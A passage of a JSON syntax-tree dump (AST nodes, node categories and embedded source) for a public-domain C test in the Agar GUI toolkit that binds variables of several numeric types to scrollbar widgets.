AG_LABEL_HFILL, \"Float binding: %f\", &vFlt)", "parent": 312, "children": [315, 316, 317, 318], "start_point": {"row": 64, "column": 18}, "end_point": {"row": 64, "column": 67}}, {"id": 315, "type": "identifier", "text": "win", "parent": 314, "children": [], "start_point": {"row": 64, "column": 19}, "end_point": {"row": 64, "column": 22}}, {"id": 316, "type": "identifier", "text": "AG_LABEL_HFILL", "parent": 314, "children": [], "start_point": {"row": 64, "column": 24}, "end_point": {"row": 64, "column": 38}}, {"id": 317, "type": "string_literal", "text": "\"Float binding: %f\"", "parent": 314, "children": [], "start_point": {"row": 64, "column": 40}, "end_point": {"row": 64, "column": 59}}, {"id": 318, "type": "pointer_expression", "text": "&vFlt", "parent": 314, "children": [319], "start_point": {"row": 64, "column": 61}, "end_point": {"row": 64, "column": 66}}, {"id": 319, "type": "identifier", "text": "vFlt", "parent": 318, "children": [], "start_point": {"row": 64, "column": 62}, "end_point": {"row": 64, "column": 66}}, {"id": 320, "type": "assignment_expression", "text": "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 62, "children": [321, 322, 323], "start_point": {"row": 65, "column": 1}, "end_point": {"row": 65, "column": 53}}, {"id": 321, "type": "identifier", "text": "sb", "parent": 320, "children": [], "start_point": {"row": 65, "column": 1}, "end_point": {"row": 65, "column": 3}}, {"id": 322, "type": "=", "text": "=", "parent": 320, "children": [], "start_point": {"row": 65, "column": 4}, "end_point": {"row": 65, "column": 5}}, {"id": 323, "type": "call_expression", "text": "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 320, "children": [324, 325], "start_point": {"row": 65, "column": 6}, "end_point": {"row": 65, "column": 53}}, {"id": 324, "type": "identifier", "text": "AG_ScrollbarNew", "parent": 323, "children": [], "start_point": {"row": 65, "column": 6}, "end_point": {"row": 65, "column": 21}}, {"id": 325, "type": "argument_list", "text": "(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 323, "children": [326, 327, 328], "start_point": {"row": 65, "column": 21}, "end_point": {"row": 65, "column": 53}}, {"id": 326, "type": "identifier", "text": "win", "parent": 325, "children": [], "start_point": {"row": 65, "column": 22}, "end_point": {"row": 65, "column": 25}}, {"id": 327, "type": "identifier", "text": "AG_SCROLLBAR_HORIZ", "parent": 325, "children": [], "start_point": {"row": 65, "column": 27}, "end_point": {"row": 65, "column": 45}}, {"id": 328, "type": "identifier", "text": "flags", "parent": 325, "children": [], "start_point": {"row": 65, "column": 47}, "end_point": {"row": 65, "column": 52}}, {"id": 329, "type": "call_expression", "text": "AG_BindFloat(sb, \"value\", &vFlt)", "parent": 62, "children": [330, 331], "start_point": {"row": 66, "column": 1}, "end_point": {"row": 66, "column": 33}}, {"id": 330, "type": "identifier", "text": "AG_BindFloat", "parent": 329, "children": [], "start_point": {"row": 66, "column": 1}, "end_point": {"row": 66, "column": 13}}, {"id": 331, "type": "argument_list", "text": "(sb, \"value\", &vFlt)", "parent": 329, "children": [332, 333, 334], "start_point": {"row": 66, "column": 13}, "end_point": {"row": 66, "column": 33}}, {"id": 332, "type": "identifier", "text": "sb", "parent": 331, "children": [], "start_point": {"row": 66, "column": 14}, "end_point": {"row": 66, "column": 16}}, {"id": 333, "type": "string_literal", "text": "\"value\"", "parent": 331, "children": [], "start_point": {"row": 66, "column": 18}, "end_point": {"row": 66, "column": 25}}, {"id": 334, "type": "pointer_expression", "text": "&vFlt", "parent": 331, "children": [335], "start_point": {"row": 66, "column": 27}, "end_point": {"row": 66, "column": 32}}, {"id": 335, "type": "identifier", "text": "vFlt", "parent": 334, "children": [], "start_point": {"row": 66, "column": 28}, "end_point": {"row": 66, "column": 32}}, {"id": 336, "type": "call_expression", "text": "AG_SetFloat(sb, \"min\", 0.0f)", "parent": 62, "children": [337, 338], "start_point": {"row": 67, "column": 1}, "end_point": {"row": 67, "column": 29}}, {"id": 337, "type": "identifier", "text": "AG_SetFloat", "parent": 336, "children": [], "start_point": {"row": 67, "column": 1}, "end_point": {"row": 67, "column": 12}}, {"id": 338, "type": "argument_list", "text": "(sb, \"min\", 0.0f)", "parent": 336, "children": [339, 340, 341], "start_point": {"row": 67, "column": 12}, "end_point": {"row": 67, "column": 29}}, {"id": 339, "type": "identifier", "text": "sb", "parent": 338, "children": [], "start_point": {"row": 67, "column": 13}, "end_point": {"row": 67, "column": 15}}, {"id": 340, "type": "string_literal", "text": "\"min\"", "parent": 338, "children": [], "start_point": {"row": 67, "column": 17}, "end_point": {"row": 67, "column": 22}}, {"id": 341, "type": "number_literal", "text": "0.0f", "parent": 338, "children": [], "start_point": {"row": 67, "column": 24}, "end_point": {"row": 67, "column": 28}}, {"id": 342, "type": "call_expression", "text": "AG_SetFloat(sb, \"max\", 1.0f)", "parent": 62, "children": [343, 344], "start_point": {"row": 68, "column": 1}, "end_point": {"row": 68, "column": 29}}, {"id": 343, "type": "identifier", "text": "AG_SetFloat", "parent": 342, "children": [], "start_point": {"row": 68, "column": 1}, "end_point": {"row": 68, "column": 12}}, {"id": 344, "type": "argument_list", "text": "(sb, \"max\", 1.0f)", "parent": 342, "children": [345, 346, 347], "start_point": {"row": 68, "column": 12}, "end_point": {"row": 68, "column": 29}}, {"id": 345, "type": "identifier", "text": "sb", "parent": 344, "children": [], "start_point": {"row": 68, "column": 13}, "end_point": {"row": 68, "column": 15}}, {"id": 346, "type": "string_literal", "text": "\"max\"", "parent": 344, "children": [], "start_point": {"row": 68, "column": 17}, "end_point": {"row": 68, "column": 22}}, {"id": 347, "type": "number_literal", "text": "1.0f", "parent": 344, "children": [], "start_point": {"row": 68, "column": 24}, "end_point": {"row": 68, "column": 28}}, {"id": 348, "type": "call_expression", "text": "AG_SetFloat(sb, \"inc\", 0.01f)", "parent": 62, "children": [349, 350], "start_point": {"row": 69, "column": 1}, "end_point": {"row": 69, "column": 30}}, {"id": 349, "type": "identifier", "text": "AG_SetFloat", "parent": 348, "children": [], "start_point": {"row": 69, "column": 1}, "end_point": {"row": 69, "column": 12}}, {"id": 350, "type": "argument_list", "text": "(sb, \"inc\", 0.01f)", "parent": 348, "children": [351, 352, 353], "start_point": {"row": 69, "column": 12}, "end_point": {"row": 69, "column": 30}}, {"id": 351, "type": "identifier", "text": "sb", "parent": 350, "children": [], "start_point": {"row": 69, "column": 13}, "end_point": {"row": 69, "column": 15}}, {"id": 352, "type": "string_literal", "text": "\"inc\"", "parent": 350, "children": [], "start_point": {"row": 69, "column": 17}, "end_point": {"row": 69, "column": 22}}, {"id": 353, "type": "number_literal", "text": "0.01f", "parent": 350, "children": [], "start_point": {"row": 69, "column": 24}, "end_point": {"row": 69, "column": 29}}, {"id": 354, "type": "call_expression", "text": "AG_LabelNewPolled(win, AG_LABEL_HFILL, \"Double binding: %lf\", &vDbl)", "parent": 62, "children": [355, 356], "start_point": {"row": 71, "column": 1}, "end_point": {"row": 71, "column": 69}}, {"id": 355, "type": "identifier", "text": "AG_LabelNewPolled", "parent": 354, "children": [], "start_point": {"row": 71, "column": 1}, "end_point": {"row": 71, "column": 18}}, {"id": 356, "type": "argument_list", "text": "(win, AG_LABEL_HFILL, \"Double binding: %lf\", &vDbl)", "parent": 354, "children": [357, 358, 359, 360], "start_point": {"row": 71, "column": 18}, "end_point": {"row": 71, "column": 69}}, {"id": 357, "type": "identifier", "text": "win", "parent": 356, "children": [], "start_point": {"row": 71, "column": 19}, "end_point": {"row": 71, "column": 22}}, {"id": 358, "type": "identifier", "text": "AG_LABEL_HFILL", "parent": 356, "children": [], "start_point": {"row": 71, "column": 24}, "end_point": {"row": 71, "column": 38}}, {"id": 359, "type": "string_literal", "text": "\"Double binding: %lf\"", "parent": 356, "children": [], "start_point": {"row": 71, "column": 40}, "end_point": {"row": 71, "column": 61}}, {"id": 360, "type": "pointer_expression", "text": "&vDbl", "parent": 356, "children": [361], "start_point": {"row": 71, "column": 63}, "end_point": {"row": 71, "column": 68}}, {"id": 361, "type": "identifier", "text": "vDbl", "parent": 360, "children": [], "start_point": {"row": 71, "column": 64}, "end_point": {"row": 71, "column": 68}}, {"id": 362, "type": "assignment_expression", "text": "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 62, "children": [363, 364, 365], "start_point": {"row": 72, "column": 1}, "end_point": {"row": 72, "column": 53}}, {"id": 363, "type": "identifier", "text": "sb", "parent": 362, "children": [], "start_point": {"row": 72, "column": 1}, "end_point": {"row": 72, "column": 3}}, {"id": 364, "type": "=", "text": "=", "parent": 362, "children": [], "start_point": {"row": 72, "column": 4}, "end_point": {"row": 72, "column": 5}}, {"id": 365, "type": "call_expression", "text": "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 362, "children": [366, 367], "start_point": {"row": 72, "column": 6}, "end_point": {"row": 72, "column": 53}}, {"id": 366, "type": "identifier", "text": "AG_ScrollbarNew", "parent": 365, "children": [], "start_point": {"row": 72, "column": 6}, "end_point": {"row": 72, "column": 21}}, {"id": 367, "type": "argument_list", "text": "(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 365, "children": [368, 369, 370], "start_point": {"row": 72, "column": 21}, "end_point": {"row": 72, "column": 53}}, {"id": 368, "type": "identifier", "text": "win", "parent": 367, "children": [], "start_point": {"row": 72, "column": 22}, "end_point": {"row": 72, "column": 25}}, {"id": 369, "type": "identifier", "text": "AG_SCROLLBAR_HORIZ", "parent": 367, "children": [], "start_point": {"row": 72, "column": 27}, "end_point": {"row": 72, "column": 45}}, {"id": 370, "type": "identifier", "text": "flags", "parent": 367, "children": [], "start_point": {"row": 72, "column": 47}, "end_point": {"row": 72, "column": 52}}, {"id": 371, "type": "call_expression", "text": "AG_BindDouble(sb, \"value\", &vDbl)", "parent": 62, "children": [372, 373], "start_point": {"row": 73, "column": 1}, "end_point": {"row": 73, "column": 34}}, {"id": 372, "type": "identifier", "text": "AG_BindDouble", "parent": 371, "children": [], "start_point": {"row": 73, "column": 1}, "end_point": {"row": 73, "column": 14}}, {"id": 373, "type": "argument_list", "text": "(sb, \"value\", &vDbl)", "parent": 371, "children": [374, 375, 376], "start_point": {"row": 73, "column": 14}, "end_point": {"row": 73, "column": 34}}, {"id": 374, "type": "identifier", "text": "sb", "parent": 373, "children": [], "start_point": {"row": 73, "column": 15}, "end_point": {"row": 73, "column": 17}}, {"id": 375, "type": "string_literal", "text": "\"value\"", "parent": 373, "children": [], "start_point": {"row": 73, "column": 19}, "end_point": {"row": 73, "column": 26}}, {"id": 376, "type": "pointer_expression", "text": "&vDbl", "parent": 373, "children": [377], "start_point": {"row": 73, "column": 28}, "end_point": {"row": 73, "column": 33}}, {"id": 377, "type": "identifier", "text": "vDbl", "parent": 376, "children": [], "start_point": {"row": 73, "column": 29}, "end_point": {"row": 73, "column": 33}}, {"id": 378, "type": "call_expression", "text": "AG_SetDouble(sb, \"min\", -100.0)", "parent": 62, "children": [379, 380], "start_point": {"row": 74, "column": 1}, "end_point": {"row": 74, "column": 32}}, {"id": 379, "type": "identifier", "text": "AG_SetDouble", "parent": 378, "children": [], "start_point": {"row": 74, "column": 1}, "end_point": {"row": 74, "column": 13}}, {"id": 380, "type": "argument_list", "text": "(sb, \"min\", -100.0)", "parent": 378, "children": [381, 382, 383], "start_point": {"row": 74, "column": 13}, "end_point": {"row": 74, "column": 32}}, {"id": 381, "type": "identifier", "text": "sb", "parent": 380, "children": [], "start_point": {"row": 74, "column": 14}, "end_point": {"row": 74, "column": 16}}, {"id": 382, "type": "string_literal", "text": "\"min\"", "parent": 380, "children": [], "start_point": {"row": 74, "column": 18}, "end_point": {"row": 74, "column": 23}}, {"id": 383, "type": "number_literal", "text": "-100.0", "parent": 380, "children": [], "start_point": {"row": 74, "column": 25}, "end_point": {"row": 74, "column": 31}}, {"id": 384, "type": "call_expression", "text": "AG_SetDouble(sb, \"max\", +100.0)", "parent": 62, "children": [385, 386], "start_point": {"row": 75, "column": 1}, "end_point": {"row": 75, "column": 32}}, {"id": 385, "type": "identifier", "text": "AG_SetDouble", "parent": 384, "children": [], "start_point": {"row": 75, "column": 1}, "end_point": {"row": 75, "column": 13}}, {"id": 386, "type": "argument_list", "text": "(sb, \"max\", +100.0)", "parent": 384, "children": [387, 388, 389], "start_point": {"row": 75, "column": 13}, "end_point": {"row": 75, "column": 32}}, {"id": 387, "type": "identifier", "text": "sb", "parent": 386, "children": [], "start_point": {"row": 75, "column": 14}, "end_point": {"row": 75, "column": 16}}, {"id": 388, "type": "string_literal", "text": "\"max\"", "parent": 386, "children": [], "start_point": {"row": 75, "column": 18}, "end_point": {"row": 75, "column": 23}}, {"id": 389, "type": "number_literal", "text": "+100.0", "parent": 386, "children": [], "start_point": {"row": 75, "column": 25}, "end_point": {"row": 75, "column": 31}}, {"id": 390, "type": "call_expression", "text": "AG_SetDouble(sb, \"inc\", 1.0)", "parent": 62, "children": [391, 392], "start_point": {"row": 76, "column": 1}, "end_point": {"row": 76, "column": 29}}, {"id": 391, "type": "identifier", "text": "AG_SetDouble", "parent": 390, "children": [], "start_point": {"row": 76, "column": 1}, "end_point": {"row": 76, "column": 13}}, {"id": 392, "type": "argument_list", "text": "(sb, \"inc\", 1.0)", "parent": 390, "children": [393, 394, 395], "start_point": {"row": 76, "column": 13}, "end_point": {"row": 76, "column": 29}}, {"id": 393, "type": "identifier", "text": "sb", "parent": 392, "children": [], "start_point": {"row": 76, "column": 14}, "end_point": {"row": 76, "column": 16}}, {"id": 394, "type": "string_literal", "text": "\"inc\"", "parent": 392, "children": [], "start_point": {"row": 76, "column": 18}, "end_point": {"row": 76, "column": 23}}, {"id": 395, "type": "number_literal", "text": "1.0", "parent": 392, "children": [], "start_point": {"row": 76, "column": 25}, "end_point": {"row": 76, "column": 28}}, {"id": 396, "type": "preproc_ifdef", "text": "#ifdef AG_HAVE_LONG_DOUBLE\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"Long Double binding: %llf\", &vLDbl);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindLongDouble(sb, \"value\", &vLDbl);\n#endif", "parent": 62, "children": [397, 398, 423], "start_point": {"row": 78, "column": 0}, "end_point": {"row": 82, "column": 6}}, {"id": 397, "type": "#ifdef", "text": "#ifdef", "parent": 396, "children": [], "start_point": {"row": 78, "column": 0}, "end_point": {"row": 78, "column": 6}}, {"id": 398, "type": "identifier", "text": "AG_HAVE_LONG_DOUBLE", "parent": 396, "children": [], "start_point": {"row": 78, "column": 7}, "end_point": {"row": 78, "column": 26}}, {"id": 399, "type": "call_expression", "text": "AG_LabelNewPolled(win, AG_LABEL_HFILL, \"Long Double binding: %llf\", &vLDbl)", "parent": 396, "children": [400, 401], "start_point": {"row": 79, "column": 1}, "end_point": {"row": 79, "column": 76}}, {"id": 400, "type": "identifier", "text": "AG_LabelNewPolled", "parent": 399, "children": [], "start_point": {"row": 79, "column": 1}, "end_point": {"row": 79, "column": 18}}, {"id": 401, "type": "argument_list", "text": "(win, AG_LABEL_HFILL, \"Long Double binding: %llf\", &vLDbl)", "parent": 399, "children": [402, 403, 404, 405], "start_point": {"row": 79, "column": 18}, "end_point": {"row": 79, "column": 76}}, {"id": 402, "type": "identifier", "text": "win", "parent": 401, "children": [], "start_point": {"row": 79, "column": 19}, "end_point": {"row": 79, "column": 22}}, {"id": 403, "type": "identifier", "text": "AG_LABEL_HFILL", "parent": 401, "children": [], "start_point": {"row": 79, "column": 24}, "end_point": {"row": 79, "column": 38}}, {"id": 404, "type": "string_literal", "text": "\"Long Double binding: %llf\"", "parent": 401, "children": [], "start_point": {"row": 79, "column": 40}, "end_point": {"row": 79, "column": 67}}, {"id": 405, "type": "pointer_expression", "text": "&vLDbl", "parent": 401, "children": [406], "start_point": {"row": 79, "column": 69}, "end_point": {"row": 79, "column": 75}}, {"id": 406, "type": "identifier", "text": "vLDbl", "parent": 405, "children": [], "start_point": {"row": 79, "column": 70}, "end_point": {"row": 79, "column": 75}}, {"id": 407, "type": "assignment_expression", "text": "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 396, "children": [408, 409, 410], "start_point": {"row": 80, "column": 1}, "end_point": {"row": 80, "column": 53}}, {"id": 408, "type": "identifier", "text": "sb", "parent": 407, "children": [], "start_point": {"row": 80, "column": 1}, "end_point": {"row": 80, "column": 3}}, {"id": 409, "type": "=", "text": "=", "parent": 407, "children": [], "start_point": {"row": 80, "column": 4}, "end_point": {"row": 80, "column": 5}}, {"id": 410, "type": "call_expression", "text": "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 407, "children": [411, 412], "start_point": {"row": 80, "column": 6}, "end_point": {"row": 80, "column": 53}}, {"id": 411, "type": "identifier", "text": "AG_ScrollbarNew", "parent": 410, "children": [], "start_point": {"row": 80, "column": 6}, "end_point": {"row": 80, "column": 21}}, {"id": 412, "type": "argument_list", "text": "(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 410, "children": [413, 414, 415], "start_point": {"row": 80, "column": 21}, "end_point": {"row": 80, "column": 53}}, {"id": 413, "type": "identifier", "text": "win", "parent": 412, "children": [], "start_point": {"row": 80, "column": 22}, "end_point": {"row": 80, "column": 25}}, {"id": 414, "type": "identifier", "text": "AG_SCROLLBAR_HORIZ", "parent": 412, "children": [], "start_point": {"row": 80, "column": 27}, "end_point": {"row": 80, "column": 45}}, {"id": 415, "type": "identifier", "text": "flags", "parent": 412, "children": [], "start_point": {"row": 80, "column": 47}, "end_point": {"row": 80, "column": 52}}, {"id": 416, "type": "call_expression", "text": "AG_BindLongDouble(sb, \"value\", &vLDbl)", "parent": 396, "children": [417, 418], "start_point": {"row": 81, "column": 1}, "end_point": {"row": 81, "column": 39}}, {"id": 417, "type": "identifier", "text": "AG_BindLongDouble", "parent": 416, "children": [], "start_point": {"row": 81, "column": 1}, "end_point": {"row": 81, "column": 18}}, {"id": 418, "type": "argument_list", "text": "(sb, \"value\", &vLDbl)", "parent": 416, "children": [419, 420, 421], "start_point": {"row": 81, "column": 18}, "end_point": {"row": 81, "column": 39}}, {"id": 419, "type": "identifier", "text": "sb", "parent": 418, "children": [], "start_point": {"row": 81, "column": 19}, "end_point": {"row": 81, "column": 21}}, {"id": 420, "type": "string_literal", "text": "\"value\"", "parent": 418, "children": [], "start_point": {"row": 81, "column": 23}, "end_point": {"row": 81, "column": 30}}, {"id": 421, "type": "pointer_expression", "text": "&vLDbl", "parent": 418, "children": [422], "start_point": {"row": 81, "column": 32}, "end_point": {"row": 81, "column": 38}}, {"id": 422, "type": "identifier", "text": "vLDbl", "parent": 421, "children": [], "start_point": {"row": 81, "column": 33}, "end_point": {"row": 81, "column": 38}}, {"id": 423, "type": "#endif", "text": "#endif", "parent": 396, "children": [], "start_point": {"row": 82, "column": 0}, "end_point": {"row": 82, "column": 6}}, {"id": 424, "type": "return_statement", "text": "return (0);", "parent": 62, "children": [425], "start_point": {"row": 83, "column": 1}, "end_point": {"row": 83, "column": 12}}, {"id": 425, "type": "parenthesized_expression", "text": "(0)", "parent": 424, "children": [426], "start_point": {"row": 83, "column": 8}, "end_point": {"row": 83, "column": 11}}, {"id": 426, "type": "number_literal", "text": "0", "parent": 425, "children": [], "start_point": {"row": 83, "column": 9}, "end_point": {"row": 83, "column": 10}}, {"id": 427, "type": "declaration", "text": "const AG_TestCase scrollbarTest = {\n\t\"scrollbar\",\n\tN_(\"Test the AG_Scrollbar(3) widget\"),\n\t\"1.5.0\",\n\t0,\n\tsizeof(AG_TestInstance),\n\tNULL,\t\t/* init */\n\tNULL,\t\t/* destroy */\n\tNULL,\t\t/* test */\n\tTestGUI,\n\tNULL\t\t/* bench */\n};", "parent": null, "children": [428, 429], "start_point": {"row": 86, "column": 0}, "end_point": {"row": 97, "column": 2}}, {"id": 428, "type": "type_identifier", "text": "AG_TestCase", "parent": 427, "children": [], "start_point": {"row": 86, "column": 6}, "end_point": {"row": 86, "column": 17}}, {"id": 429, "type": "init_declarator", "text": "scrollbarTest = {\n\t\"scrollbar\",\n\tN_(\"Test the AG_Scrollbar(3) widget\"),\n\t\"1.5.0\",\n\t0,\n\tsizeof(AG_TestInstance),\n\tNULL,\t\t/* init */\n\tNULL,\t\t/* destroy */\n\tNULL,\t\t/* test */\n\tTestGUI,\n\tNULL\t\t/* bench */\n}", "parent": 427, "children": [430, 431, 432], "start_point": {"row": 86, "column": 18}, "end_point": {"row": 97, "column": 1}}, {"id": 430, "type": "identifier", "text": "scrollbarTest", "parent": 429, "children": [], "start_point": {"row": 86, "column": 18}, "end_point": {"row": 86, "column": 31}}, {"id": 431, "type": "=", "text": "=", "parent": 429, "children": [], "start_point": {"row": 86, "column": 32}, "end_point": {"row": 86, "column": 33}}, {"id": 432, "type": "initializer_list", "text": "{\n\t\"scrollbar\",\n\tN_(\"Test the AG_Scrollbar(3) widget\"),\n\t\"1.5.0\",\n\t0,\n\tsizeof(AG_TestInstance),\n\tNULL,\t\t/* init */\n\tNULL,\t\t/* destroy */\n\tNULL,\t\t/* test */\n\tTestGUI,\n\tNULL\t\t/* bench */\n}", "parent": 429, "children": [433, 434, 438, 439, 440, 443, 445, 447, 449, 450], "start_point": {"row": 86, "column": 34}, "end_point": {"row": 97, "column": 1}}, {"id": 433, "type": "string_literal", "text": "\"scrollbar\"", "parent": 432, "children": [], "start_point": {"row": 87, "column": 1}, "end_point": {"row": 87, "column": 12}}, {"id": 434, "type": "call_expression", "text": "N_(\"Test the AG_Scrollbar(3) widget\")", "parent": 432, "children": [435, 436], "start_point": {"row": 88, "column": 1}, "end_point": {"row": 88, "column": 38}}, {"id": 435, "type": "identifier", "text": "N_", "parent": 434, "children": [], "start_point": {"row": 88, "column": 1}, "end_point": {"row": 88, "column": 3}}, {"id": 436, "type": "argument_list", "text": "(\"Test the AG_Scrollbar(3) widget\")", "parent": 434, "children": [437], "start_point": {"row": 88, "column": 3}, "end_point": {"row": 88, "column": 38}}, {"id": 437, "type": "string_literal", "text": "\"Test the AG_Scrollbar(3) widget\"", "parent": 436, "children": [], "start_point": {"row": 88, "column": 4}, "end_point": {"row": 88, "column": 37}}, {"id": 438, "type": "string_literal", "text": "\"1.5.0\"", "parent": 432, "children": [], "start_point": {"row": 89, "column": 1}, "end_point": {"row": 89, "column": 8}}, {"id": 439, "type": "number_literal", "text": "0", "parent": 432, "children": [], "start_point": {"row": 90, "column": 1}, "end_point": {"row": 90, "column": 2}}, {"id": 440, "type": "sizeof_expression", "text": "sizeof(AG_TestInstance)", "parent": 432, "children": [441], "start_point": {"row": 91, "column": 1}, "end_point": {"row": 91, "column": 24}}, {"id": 441, "type": "parenthesized_expression", "text": "(AG_TestInstance)", "parent": 440, "children": [442], "start_point": {"row": 91, "column": 7}, "end_point": {"row": 91, "column": 24}}, {"id": 442, "type": "identifier", "text": "AG_TestInstance", "parent": 441, "children": [], "start_point": {"row": 91, "column": 8}, "end_point": {"row": 91, "column": 23}}, {"id": 443, "type": "null", "text": "NULL", "parent": 432, "children": [444], "start_point": {"row": 92, "column": 1}, "end_point": {"row": 92, "column": 5}}, {"id": 444, "type": "NULL", "text": "NULL", "parent": 443, "children": [], "start_point": {"row": 92, "column": 1}, "end_point": {"row": 92, "column": 5}}, {"id": 445, "type": "null", "text": "NULL", "parent": 432, "children": [446], "start_point": {"row": 93, "column": 1}, "end_point": {"row": 93, "column": 5}}, {"id": 446, "type": "NULL", "text": "NULL", "parent": 445, "children": [], "start_point": {"row": 93, "column": 1}, "end_point": {"row": 93, "column": 5}}, {"id": 447, "type": "null", "text": "NULL", "parent": 432, "children": [448], "start_point": {"row": 94, "column": 1}, "end_point": {"row": 94, "column": 5}}, {"id": 448, "type": "NULL", "text": "NULL", "parent": 447, "children": [], "start_point": {"row": 94, "column": 1}, "end_point": {"row": 94, "column": 5}}, {"id": 449, "type": "identifier", "text": "TestGUI", "parent": 432, "children": [], "start_point": {"row": 95, "column": 1}, "end_point": {"row": 95, "column": 8}}, {"id": 450, "type": "null", "text": "NULL", "parent": 432, "children": [451], "start_point": {"row": 96, "column": 1}, "end_point": {"row": 96, "column": 5}}, {"id": 451, "type": "NULL", "text": "NULL", "parent": 450, "children": [], "start_point": {"row": 96, "column": 1}, "end_point": {"row": 96, "column": 5}}]}, "node_categories": {"declarations": {"functions": [62, 64], "variables": [3, 9, 16, 22, 31, 38, 44, 53, 67, 72, 77, 82, 87, 427], "classes": [], "imports": [0, 1], "modules": [], "enums": []}, "statements": {"expressions": [92, 98, 104, 106, 115, 121, 126, 128, 134, 140, 146, 152, 157, 163, 168, 170, 176, 182, 188, 194, 200, 205, 211, 216, 218, 224, 230, 235, 241, 246, 248, 254, 260, 269, 275, 280, 286, 291, 293, 299, 305, 312, 318, 323, 329, 334, 336, 342, 348, 354, 360, 365, 371, 376, 378, 384, 390, 399, 405, 410, 416, 421, 425, 434, 440, 441], "assignments": [95, 112, 154, 202, 232, 277, 320, 362, 407], "loops": [], "conditionals": [6, 10, 13, 17, 19, 23, 25, 28, 29, 30, 32, 34, 37, 41, 47, 50, 51, 52, 54, 58, 61, 65, 71, 73, 76, 78, 81, 83, 86, 88, 90, 93, 94, 96, 99, 101, 102, 105, 107, 109, 113, 116, 118, 119, 120, 122, 124, 127, 129, 131, 135, 137, 141, 143, 147, 149, 150, 153, 155, 158, 160, 161, 162, 164, 166, 169, 171, 173, 177, 179, 183, 185, 189, 191, 195, 197, 198, 201, 203, 206, 208, 209, 210, 212, 214, 217, 219, 221, 225, 227, 228, 231, 233, 236, 238, 239, 240, 242, 244, 247, 249, 251, 255, 257, 261, 263, 266, 267, 268, 270, 272, 273, 276, 278, 281, 283, 284, 285, 287, 289, 292, 294, 296, 300, 302, 306, 308, 311, 313, 315, 316, 319, 321, 324, 326, 327, 328, 330, 332, 335, 337, 339, 343, 345, 349, 351, 355, 357, 358, 361, 363, 366, 368, 369, 370, 372, 374, 377, 379, 381, 385, 387, 391, 393, 396, 397, 398, 400, 402, 403, 406, 408, 411, 413, 414, 415, 417, 419, 422, 423, 428, 430, 435, 442, 449], "returns": [424], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 8, 15, 21, 27, 36, 43, 49, 60, 103, 110, 111, 125, 132, 133, 138, 139, 144, 145, 151, 167, 174, 175, 180, 181, 186, 187, 192, 193, 199, 215, 222, 223, 229, 245, 252, 253, 258, 259, 264, 265, 274, 290, 297, 298, 303, 304, 309, 310, 317, 333, 340, 341, 346, 347, 352, 353, 359, 375, 382, 383, 388, 389, 394, 395, 404, 420, 426, 433, 437, 438, 439], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 62, "universal_type": "function", "name": "TestGUI", "text_snippet": "static int\nTestGUI(void *obj, AG_Window *win)\n{\n\tAG_Scrollbar *sb;\n\tAG_Label *lbl;\n\tUint flags = AG_"}, {"node_id": 64, "universal_type": "function", "name": "unknown", "text_snippet": "TestGUI(void *obj, AG_Window *win)"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include \"agartest.h\"\n"}, {"node_id": 1, "text": "#include"}]}, "original_source_code": "/*\tPublic domain\t*/\n/*\n * Test the various bindings provided by the AG_Scrollbar(3) widget using\n * arbitrary values and ranges.\n */\n\n#include \"agartest.h\"\n\nint vInt = 500;\nunsigned vUint = 0;\nSint8 v8 = 50;\nUint32 v32 = 32;\n#ifdef AG_HAVE_64BIT\nUint64 v64 = 64;\n#endif\nfloat vFlt = 1.0;\ndouble vDbl = 0.0;\n#ifdef AG_HAVE_LONG_DOUBLE\nlong double vLDbl = 1.0;\n#endif\n\nstatic int\nTestGUI(void *obj, AG_Window *win)\n{\n\tAG_Scrollbar *sb;\n\tAG_Label *lbl;\n\tUint flags = AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE;\n\n\tlbl = AG_LabelNewPolled(win, AG_LABEL_HFILL, \"Int binding: %d\", &vInt);\n\tAG_LabelSizeHint(lbl, 0, \"XXXXXXXXXXXXXXXXXXXX\");\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindInt(sb, \"value\", &vInt);\n\tAG_SetInt(sb, \"min\", -10000);\n\tAG_SetInt(sb, \"max\", 10000);\n\tAG_SetInt(sb, \"inc\", 1000);\n\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"Uint binding: %d (vis=1000)\", &vUint);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindUint(sb, \"value\", &vUint);\n\tAG_SetUint(sb, \"min\", 0);\n\tAG_SetUint(sb, \"max\", 10000);\n\tAG_SetUint(sb, \"inc\", 1000);\n\tAG_SetUint(sb, \"visible\", 1000);\n\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"8-bit binding: %[s8] (vis=50)\", &v8);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindSint8(sb, \"value\", &v8);\n\tAG_SetSint8(sb, \"visible\", 50);\n\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"32-bit binding: %[u32] (vis=10)\", &v32);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindUint32(sb, \"value\", &v32);\n\tAG_SetUint32(sb, \"min\", 0);\n\tAG_SetUint32(sb, \"max\", 100);\n\tAG_SetUint32(sb, \"visible\", 10);\n\n#ifdef AG_HAVE_64BIT\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"64-bit binding: %[u64] (vis=10)\", &v64);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindUint64(sb, \"value\", &v64);\n\tAG_SetUint64(sb, 